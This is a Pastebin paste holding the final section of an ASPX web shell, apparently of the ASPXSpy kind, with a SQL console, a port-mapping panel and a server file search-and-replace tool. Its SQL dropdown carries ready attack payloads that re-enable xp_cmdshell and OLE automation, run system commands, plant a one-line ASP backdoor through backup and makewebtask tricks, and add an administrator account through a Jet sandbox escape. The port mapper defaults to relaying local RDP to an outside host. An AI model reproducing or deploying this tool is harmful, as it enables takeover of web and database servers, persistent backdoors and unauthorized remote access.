  2518. <%--DataBase--%>
  2519. <div id="iDgmL" runat="server">
  2520. <p>ConnString : <asp:TextBox id="MasR" style="width:70%;margin:0 8px;" CssClass="input" runat="server"/><asp:DropDownList runat="server" CssClass="list" ID="WYmo" AutoPostBack="True" OnSelectedIndexChanged="zOVO" ><asp:ListItem></asp:ListItem><asp:ListItem Value="server=localhost;UID=sa;PWD=;database=master;Provider=SQLOLEDB">MSSQL</asp:ListItem><asp:ListItem Value="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=E:\database.mdb">ACCESS</asp:ListItem></asp:DropDownList><asp:Button ID="QcZPA" runat="server" Text="Go" CssClass="bt" OnClick="BGY"/></p>
  2521. <div id="dQIIF" runat="server">
  2522. <div id="irTU" runat="server"></div>
  2523. <div id="uXevN" runat="server">
  2524. Please select a database : <asp:DropDownList runat="server" ID="Pvf" AutoPostBack="True" OnSelectedIndexChanged="zOVO" CssClass="list"></asp:DropDownList>
  2525. SQLExec : <asp:DropDownList runat="server" ID="FGEy" AutoPostBack="True" OnSelectedIndexChanged="zOVO" CssClass="list"><asp:ListItem Value="">-- SQL Server Exec --</asp:ListItem><asp:ListItem Value="Use master dbcc addextendedproc('xp_cmdshell','xplog70.dll')">Add xp_cmdshell</asp:ListItem><asp:ListItem Value="Use master dbcc addextendedproc('sp_OACreate','odsole70.dll')">Add sp_oacreate</asp:ListItem><asp:ListItem Value="Exec sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;">Add xp_cmdshell(SQL2005)</asp:ListItem><asp:ListItem Value="Exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;">Add sp_oacreate(SQL2005)</asp:ListItem><asp:ListItem Value="Exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Web Assistant Procedures',1;RECONFIGURE;">Add makewebtask(SQL2005)</asp:ListItem><asp:ListItem Value="Exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;">Add openrowset/opendatasource(SQL2005)</asp:ListItem><asp:ListItem Value="Exec master.dbo.xp_cmdshell 'net user'">XP_cmdshell exec</asp:ListItem><asp:ListItem Value="EXEC MASTER..XP_dirtree 'c:\',1,1">XP_dirtree</asp:ListItem><asp:ListItem Value="Declare @s int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^&lt;%execute(request(char(35)))%^>>c:\bin.asp';">SP_oamethod exec</asp:ListItem><asp:ListItem Value="sp_makewebtask @outputfile='c:\bin.asp',@charset=gb2312,@query='select ''&lt;%execute(request(chr(35)))%&gt;'''">SP_makewebtask make file</asp:ListItem><asp:ListItem Value="exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell(&#34;cmd.exe /c net user root root/add &#34;)')">SandBox</asp:ListItem><asp:ListItem Value="create table [bin_cmd]([cmd] [image]);declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup log @a to disk=@s;insert into [bin_cmd](cmd)values('&lt;%execute(request(chr(35)))%&gt;');declare @b sysname,@t nvarchar(4000)select @b=db_name(),@t='e:\1.asp' backup log @b to disk=@t with init,no_truncate;drop table [bin_cmd];">LogBackup</asp:ListItem><asp:ListItem Value="create table [bin_cmd]([cmd] [image]);declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup database @a to disk=@s;insert into [bin_cmd](cmd)values('&lt;%execute(request(chr(35)))%&gt;');declare @b sysname,@t nvarchar(4000)select @b=db_name(),@t='c:\bin.asp' backup database @b to disk=@t WITH DIFFERENTIAL,FORMAT;drop table [bin_cmd];">DatabaseBackup</asp:ListItem></asp:DropDownList>
  2526. </div>
  2527. <table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td> Run SQL </td></tr><tr><td><textarea id="jHIy" class="area" style="width:600px;height:60px;overflow:auto;" runat="server" rows="6" cols="1"></textarea></td></tr><tr><td>
  2528. <asp:Button runat="server" ID="WOhJ" CssClass="bt" Text="Query" onclick="ORUgV"/></td></tr></table>
  2529. <div style="overflow-x:auto;width:950px" >
  2530. <p>
  2531. <asp:DataGrid runat="server" ID="rom" HeaderStyle-CssClass="head" BorderWidth="0" GridLines="None" ></asp:DataGrid>
  2532. </p>
  2533. </div>
  2534. </div>
  2535. </div>
  2536. <%--PortMap--%>
  2537. <div id="hOWTm" runat="server">
  2538. <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  2539. <tr align="center">
  2540. <td style="width:5%"></td>
  2541. <td style="width:20%" align="left">Local Ip : <input class="input" runat="server" id="eEpm" type="text" size="20" value="127.0.0.1"/></td>
  2542. <td style="width:20%" align="left">Local Port : <input class="input" runat="server" id="iXdh" type="text" size="20" value="3389"/></td>
  2543. <td style="width:20%" align="left">Remote Ip : <input class="input" runat="server" id="llH" type="text" size="20" value="www.rootkit.net.cn"/></td>
  2544. <td style="width:20%" align="left">Remote Port : <input class="input" runat="server" id="ZHS" type="text" size="20" value="80"/></td></tr>
  2545. <tr align="center"><td colspan="5"><br/><asp:Button ID="FJE" CssClass="bt" runat="server" Text="MapPort" OnClick="wDZ"/> <asp:Button ID="giX" CssClass="bt" runat="server" Text="ClearAll" OnClick="vJNsE"/> <asp:Button ID="GFsm" CssClass="bt" runat="server" Text="Refresh" OnClick="tYoZ"/></td></tr></table></div>
  2546. <%--Search--%>
  2547. <div id="yhv" runat="server">
  2548. <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  2549. <tr align="center">
  2550. <td style="width:20%" align="left">Keyword</td>
  2551. <td style="width:60%" align="left"><textarea id="iaMKl" runat="server" class="area" style="width:100%" rows="4"></textarea></td>
  2552. <td style="width:20%" align="left"><input type="checkbox" runat="server" id="rAQ" value="1"/> Use Regex</td>
  2553. </tr>
  2554. <tr align="center">
  2555. <td style="width:20%" align="left">Replace As</td>
  2556. <td style="width:60%" align="left"><textarea id="qPe" runat="server" class="area" style="width:100%" rows="4"></textarea></td>
  2557. <td style="width:20%" align="left"><input type="checkbox" runat="server" id="YZw"/> Replace</td>
  2558. </tr>
  2559. <tr align="center">
  2560. <td style="width:20%" align="left">Search FileType</td>
  2561. <td style="width:60%" align="left"><input type="text" runat="server" class="input" id="UDLvA" style="width:100%" value="asp|asa|cer|cdx|aspx|asax|ascx|cs|jsp|php|txt|inc|ini|js|htm|html|xml|config"/></td>
  2562. <td style="width:20%" align="left"><asp:DropDownList runat="server" ID="Ven" AutoPostBack="False" CssClass="list"><asp:ListItem Value="name">File Name</asp:ListItem><asp:ListItem Value="content" Selected="True">File Content</asp:ListItem></asp:DropDownList></td>
  2563. </tr>
  2564. <tr align="center">
  2565. <td style="width:20%" align="left">Path</td>
  2566. <td style="width:60%" align="left"><input type="text" class="input" id="NaLJ" runat="server" style="width:100%" /></td>
  2567. <td style="width:20%" align="left"><asp:Button CssClass="bt" id="axy" runat="server" onclick="NBy" Text="Start" /></td>
  2568. </tr>
  2569. </table>
  2570. <br/>
  2571. <br/>
  2572. <asp:Table ID="oJiym" runat="server" Width="100%" CellSpacing="0" >
  2573. <asp:TableRow CssClass="head"><asp:TableCell Width="60%">File Path</asp:TableCell><asp:TableCell Width="20%">Last modified</asp:TableCell><asp:TableCell Width="20%">Size</asp:TableCell></asp:TableRow>
  2574. </asp:Table>
  2575. </div>
  2576. </td></tr></table>
  2577. <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;"></div></div>
  2578. </form>
  2579. <%="<"+"/"+"B"+"O"+"D"+"Y"+">"+"<"+"/"+"H"+"T"+"M"+"L"+">"%>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top